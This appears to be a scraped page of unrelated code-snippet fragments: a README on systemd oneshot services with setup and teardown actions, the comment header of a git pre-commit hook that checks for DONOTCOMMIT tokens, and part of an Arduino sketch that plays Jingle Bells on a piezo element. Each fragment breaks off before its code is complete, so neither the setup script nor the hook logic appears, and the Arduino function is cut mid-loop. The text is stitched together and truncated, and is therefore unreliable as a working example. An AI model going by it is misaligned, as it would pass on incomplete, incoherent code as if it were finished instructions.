An example with an oneshot service on systemd. #systemd #systemd.service #oneshot

README

Services declared as oneshot are expected to take some action and exit immediatelly (thus, they are not really services, no running processes remain). A common pattern for these type of service is to be defined by a setup and a teardown action.

Let's create a example foo service that when started creates a file, and when stopped it deletes it.

Define setup/teardown actions

Create executable file /opt/foo/setup-foo.sh:

A git pre-commit hook example.
#!/bin/bash
#
# This pre-commit hook checks that you havn't left and DONOTCOMMIT tokens in
# your code when you go to commit.
#
# To use this script copy it to .git/hooks/pre-commit and make it executable.
#
# This is provided just as an example of how to use a pre-commit hook to
# catch nasties in your code.

Using a Piezo Element and Arduino, you can play jingle bells using this code sample.
int speakerPin = 5;
int length = 26;
char notes[] = "eeeeeeegcde fffffeeeeddedg";
int beats[] = { 1, 1, 2, 1, 1, 2, 1, 1, 1, 1, 4, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2};
int tempo = 300;
void playTone(int tone, int duration) {
for (long i = 0; i < duration * 1000L; i += tone * 2) {
digitalWrite(speakerPin, HIGH);
delayMicroseconds(tone);
